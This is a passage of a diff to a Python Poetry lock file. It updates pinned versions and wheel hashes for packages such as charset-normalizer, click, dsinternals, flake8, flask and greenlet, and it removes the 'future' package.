"charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:0c173ce3a681f309f31b87125fecec7a5d1347261ea11ebbb856fa6006b23c8c"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c907cdc8109f6c619e6254212e794d6548373cc40e1ec75e6e3823d9135d29cc"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:404a1e552cf5b675a87f0651f8b79f5f1e6fd100ee88dc612f89aa16abd4486f"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e3c701e954abf6fc03a49f7c579cc80c2c6cc52525340ca3186c41d3f33482ef"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7a6967aaf043bceabab5412ed6bd6bd26603dae84d5cb75bf8d9a74a4959d398"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5feb91325bbceade6afab43eb3b508c63ee53579fe896c77137ded51c6b6958e"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f820f24b09e3e779fe84c3c456cb4108a7aa639b0d1f02c28046e11bfcd088ed"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-win32.whl", hash = "sha256:9ca4c0b502ab399ef89248a2c84c54954f77a070f28e546a85e91da627d1301e"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:a9e68c9d88823b274cf1e72f28cb5dc89c990edf430b0bfd3e2fb0785bfeabf4"}, + {file = "charset_normalizer-3.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:97d0235baafca5f2b09cf332cc275f021e694e8362c6bb9c96fc9a0eb74fc316"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2ef7fedc7a6ecbe99969cd09632516738a97eeb8bd7258bf8a0f23114c057dab"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4ea868bc28109052790eb2b52a9ab33f3aa7adc02f96673526ff47419490e21"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:836ab36280f21fc1a03c99cd05c6b7af70d2697e374c7af0b61ed271401a72a2"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f1ce721c8a7dfec21fcbdfe04e8f68174183cf4e8188e0645e92aa23985c57ff"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e28d62a8fc7a1fa411c43bd65e346f3bce9716dc51b897fbe930c5987b402d5"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:530d548084c4a9f7a16ed4a294d459b4f229db50df689bfe92027452452943a0"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:30f445ae60aad5e1f8bdbb3108e39f6fbc09f4ea16c815c66578878325f8f15a"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ac2393c73378fea4e52aa56285a3d64be50f1a12395afef9cce47772f60334c2"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:90ca27cd8da8118b18a52d5f547859cc1f8354a00cd1e8e5120df3e30d6279e5"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e5a94886bedca0f9b78fecd6afb6629142fd2605aa70a125d49f4edc6037ee6"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:695f5c2823691a25f17bc5d5ffe79fa90972cc34b002ac6c843bb8a1720e950d"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:231d4da14bcd9301310faf492051bee27df11f2bc7549bc0bb41fef11b82daa2"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a056d1ad2633548ca18ffa2f85c202cfb48b68615129143915b8dc72a806a923"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-win32.whl", hash = "sha256:c2274ca724536f173122f36c98ce188fd24ce3dad886ec2b7af859518ce008a4"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:c8ae56368f8cc97c7e40a7ee18e1cedaf8e780cd8bc5ed5ac8b81f238614facb"}, + {file = "charset_normalizer-3.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:899d28f422116b08be5118ef350c292b36fc15ec2daeb9ea987c89281c7bb5c4"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:11afb56037cbc4b1555a34dd69151e8e069bee82e613a73bef6e714ce733585f"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423fb7e748a08f854a08a222b983f4df1912b1daedce51a72bd24fe8f26a1843"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d73beaac5e90173ac3deb9928a74763a6d230f494e4bfb422c217a0ad8e629bf"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d60377dce4511655582e300dc1e5a5f24ba0cb229005a1d5c8d0cb72bb758ab8"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:530e8cebeea0d76bdcf93357aa5e41336f48c3dc709ac52da2bb167c5b8271d9"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:a26611d9987b230566f24a0a125f17fe0de6a6aff9f25c9f564aaa2721a5fb88"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:34315ff4fc374b285ad7f4a0bf7dcbfe769e1b104230d40f49f700d4ab6bbd84"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5f8ddd609f9e1af8c7bd6e2aca279c931aefecd148a14402d4e368f3171769fd"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:80d0a5615143c0b3225e5e3ef22c8d5d51f3f72ce0ea6fb84c943546c7b25b6c"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:92734d4d8d187a354a556626c221cd1a892a4e0802ccb2af432a1d85ec012194"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:613f19aa6e082cf96e17e3ffd89383343d0d589abda756b7764cf78361fd41dc"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:2b1a63e8224e401cafe7739f77efd3f9e7f5f2026bda4aead8e59afab537784f"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6cceb5473417d28edd20c6c984ab6fee6c6267d38d906823ebfe20b03d607dc2"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-win32.whl", hash = "sha256:d7de2637729c67d67cf87614b566626057e95c303bc0a55ffe391f5205e7003d"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:572d7c822caf521f0525ba1bce1a622a0b85cf47ffbdae6c9c19e3b5ac3c4389"}, + {file = "charset_normalizer-3.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a4474d924a47185a06411e0064b803c68be044be2d60e50e8bddcc2649957c1f"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9cc6e6d9e571d2f863fa77700701dae73ed5f78881efc8b3f9a4398772ff53e8"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef5960d965e67165d75b7c7ffc60a83ec5abfc5c11b764ec13ea54fbef8b4421"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b3694e3f87f8ac7ce279d4355645b3c878d24d1424581b46282f24b92f5a4ae2"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5d11595abf8dd942a77883a39d81433739b287b6aa71620f15164f8096221b30"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7bda6eebafd42133efdca535b04ccb338ab29467b3f7bf79569883676fc628db"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:bbc8c8650c6e51041ad1be191742b8b421d05bbd3410f43fa2a00c8db87678e8"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22c6f0c2fbc31e76c3b8a86fba1a56eda6166e238c29cdd3d14befdb4a4e4815"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7edbed096e4a4798710ed6bc75dcaa2a21b68b6c356553ac4823c3658d53743a"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:7f9019c9cb613f084481bd6a100b12e1547cf2efe362d873c2e31e4035a6fa43"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:58c948d0d086229efc484fe2f30c2d382c86720f55cd9bc33591774348ad44e0"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:419a9d91bd238052642a51938af8ac05da5b3343becde08d5cdeab9046df9ee1"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:5273b9f0b5835ff0350c0828faea623c68bfa65b792720c453e22b25cc72930f"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0e901eb1049fdb80f5bd11ed5ea1e498ec423102f7a9b9e4645d5b8204ff2815"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-win32.whl", hash = "sha256:b4ff1d35e8c5bd078be89349b6f3a845128e685e751b6ea1169cf2160b344c4d"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:74119174722c4349af9708993118581686f343adc1c8c9c007d59be90d077f3f"}, + {file = "charset_normalizer-3.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:e5bcc1a1ae744e0bb59641171ae53743760130600da8db48cbb6e4918e186e4e"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ad8faf8df23f0378c6d527d8b0b15ea4a2e23c89376877c598c4870d1b2c7866"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5ea69428fa1b49573eef0cc44a1d43bebd45ad0c611eb7d7eac760c7ae771bc"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:06a7e86163334edfc5d20fe104db92fcd666e5a5df0977cb5680a506fe26cc8e"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e1f6e2f00a6b8edb562826e4632e26d063ac10307e80f7461f7de3ad8ef3f077"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:95b52c68d64c1878818687a473a10547b3292e82b6f6fe483808fb1468e2f52f"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:7504e9b7dc05f99a9bbb4525c67a2c155073b44d720470a148b34166a69c054e"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:172985e4ff804a7ad08eebec0a1640ece87ba5041d565fff23c8f99c1f389484"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4be9f4830ba8741527693848403e2c457c16e499100963ec711b1c6f2049b7c7"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:79090741d842f564b1b2827c0b82d846405b744d31e84f18d7a7b41c20e473ff"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:87725cfb1a4f1f8c2fc9890ae2f42094120f4b44db9360be5d99a4c6b0e03a9e"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:fcce033e4021347d80ed9c66dcf1e7b1546319834b74445f561d2e2221de5659"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:ca0276464d148c72defa8bb4390cce01b4a0e425f3b50d1435aa6d7a18107602"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:197c1a244a274bb016dd8b79204850144ef77fe81c5b797dc389327adb552407"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-win32.whl", hash = "sha256:2a24157fa36980478dd1770b585c0f30d19e18f4fb0c47c13aa568f871718579"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:cd5e2801c89992ed8c0a3f0293ae83c159a60d9a5d685005383ef4caca77f2c4"}, + {file = "charset_normalizer-3.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:47955475ac79cc504ef2704b192364e51d0d473ad452caedd0002605f780101c"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:659a1e1b500fac8f2779dd9e1570464e012f43e580371470b45277a27baa7532"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f61aa92e4aad0be58eb6eb4e0c21acf32cf8065f4b2cae5665da756c4ceef982"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f50498891691e0864dc3da965f340fada0771f6142a378083dc4608f4ea513e2"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bf625105bb9eef28a56a943fec8c8a98aeb80e7d7db99bd3c388137e6eb2d237"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2bd9d128ef93637a5d7a6af25363cf5dec3fa21cf80e68055aad627f280e8afa"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux_2_31_armv7l.whl", hash = "sha256:d08ec48f0a1c48d75d0356cea971921848fb620fdeba805b28f937e90691209f"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1ed80ff870ca6de33f4d953fda4d55654b9a2b340ff39ab32fa3adbcd718f264"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f98059e4fcd3e3e4e2d632b7cf81c2faae96c43c60b569e9c621468082f1d104"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:ab30e5e3e706e3063bc6de96b118688cb10396b70bb9864a430f67df98c61ecc"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:d5f5d1e9def3405f60e3ca8232d56f35c98fb7bf581efcc60051ebf53cb8b611"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:461598cd852bfa5a61b09cae2b1c02e2efcd166ee5516e243d540ac24bfa68a7"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:71be7e0e01753a89cf024abf7ecb6bca2c81738ead80d43004d9b5e3f1244e64"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:df01808ee470038c3f8dc4f48620df7225c49c2d6639e38f96e6d6ac6e6f7b0e"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-win32.whl", hash = "sha256:69dd852c2f0ad631b8b60cfbe25a28c0058a894de5abb566619c205ce0550eae"}, + {file = "charset_normalizer-3.4.6-cp38-cp38-win_amd64.whl", hash = "sha256:517ad0e93394ac532745129ceabdf2696b609ec9f87863d337140317ebce1c14"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:31215157227939b4fb3d740cd23fe27be0439afef67b785a1eb78a3ae69cba9e"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecbbd45615a6885fe3240eb9db73b9e62518b611850fdf8ab08bd56de7ad2b17"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c45a03a4c69820a399f1dda9e1d8fbf3562eda46e7720458180302021b08f778"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e8aeb10fcbe92767f0fa69ad5a72deca50d0dca07fbde97848997d778a50c9fe"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:54fae94be3d75f3e573c9a1b5402dc593de19377013c9a0e4285e3d402dd3a2a"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:2f7fdd9b6e6c529d6a2501a2d36b240109e78a8ceaef5687cfcfa2bbe671d297"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1d02209e06550bdaef34af58e041ad71b88e624f5d825519da3a3308e22687"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bc5f0687d796c05b1e28ab0d38a50e6309906ee09375dd3aff6a9c09dd6e8f4"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:ee4ec14bc1680d6b0afab9aea2ef27e26d2024f18b24a2d7155a52b60da7e833"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:d1a2ee9c1499fc8f86f4521f27a973c914b211ffa87322f4ee33bb35392da2c5"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:48696db7f18afb80a068821504296eb0787d9ce239b91ca15059d1d3eaacf13b"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4f41da960b196ea355357285ad1316a00099f22d0929fe168343b99b254729c9"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:802168e03fba8bbc5ce0d866d589e4b1ca751d06edee69f7f3a19c5a9fe6b597"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-win32.whl", hash = "sha256:8761ac29b6c81574724322a554605608a9960769ea83d2c73e396f3df896ad54"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-win_amd64.whl", hash = "sha256:1cf0a70018692f85172348fe06d3a4b63f94ecb055e13a00c644d368eb82e5b8"}, + {file = "charset_normalizer-3.4.6-cp39-cp39-win_arm64.whl", hash = "sha256:3516bbb8d42169de9e61b8520cbeeeb716f12f4ecfe3fd30a9919aa16c806ca8"}, + {file = "charset_normalizer-3.4.6-py3-none-any.whl", hash = "sha256:947cf925bc916d90adba35a64c82aace04fa39b46b52d4630ece166655905a69"}, + {file = "charset_normalizer-3.4.6.tar.gz", hash = "sha256:1ae6b62897110aa7c79ea2f5dd38d1abca6db663687c0b1ad9aed6f6bae3d9d6"}, ] [[package]] name = "click" -version = "8.1.8" +version = "8.3.1" description = "Composable command line interface toolkit" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, - {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, + {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, + {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, ] [package.dependencies] @@ -752,198 +872,174 @@ pyasn1 = ">=0.4.8" [[package]] name = "dsinternals" -version = "1.2.4" -description = "" +version = "1.2.5" +description = "Directory Services Internals Library" optional = false python-versions = ">=3.4" groups = ["main"] files = [ - {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, + {file = "dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd"}, ] +[package.dependencies] +pycryptodomex = "*" +pyopenssl = "*" + [[package]] name = "exceptiongroup" -version = "1.2.2" +version = "1.3.1" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" groups = ["main", "dev"] markers = "python_version == \"3.10\"" files = [ - {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, - {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, + {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, + {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, ] +[package.dependencies] +typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} + [package.extras] test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "7.1.2" +version = "7.3.0" description = "the modular source code checker: pep8 pyflakes and co" optional = false -python-versions = ">=3.8.1" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "flake8-7.1.2-py2.py3-none-any.whl", hash = "sha256:1cbc62e65536f65e6d754dfe6f1bada7f5cf392d6f5db3c2b85892466c3e7c1a"}, - {file = "flake8-7.1.2.tar.gz", hash = "sha256:c586ffd0b41540951ae41af572e6790dbd49fc12b3aa2541685d253d9bd504bd"}, + {file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"}, + {file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.12.0,<2.13.0" -pyflakes = ">=3.2.0,<3.3.0" +pycodestyle = ">=2.14.0,<2.15.0" +pyflakes = ">=3.4.0,<3.5.0" [[package]] name = "flask" -version = "3.1.0" +version = "3.1.3" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "flask-3.1.0-py3-none-any.whl", hash = "sha256:d667207822eb83f1c4b50949b1623c8fc8d51f2341d65f72e1a1815397551136"}, - {file = "flask-3.1.0.tar.gz", hash = "sha256:5f873c5184c897c8d9d1b05df1e3d01b14910ce69607a117bd3277098a5836ac"}, + {file = "flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c"}, + {file = "flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb"}, ] [package.dependencies] -blinker = ">=1.9" +blinker = ">=1.9.0" click = ">=8.1.3" -itsdangerous = ">=2.2" -Jinja2 = ">=3.1.2" -Werkzeug = ">=3.1" +itsdangerous = ">=2.2.0" +jinja2 = ">=3.1.2" +markupsafe = ">=2.1.1" +werkzeug = ">=3.1.0" [package.extras] async = ["asgiref (>=3.2)"] dotenv = ["python-dotenv"] -[[package]] -name = "future" -version = "1.0.0" -description = "Clean single-source support for Python 3 and 2" -optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" -groups = ["main"] -files = [ - {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, - {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, -] - [[package]] name = "greenlet" -version = "3.1.1" +version = "3.3.2" description = "Lightweight in-process concurrent programming" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["main"] -markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" -files = [ - {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, - {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, - {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, - {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, - {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, - {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 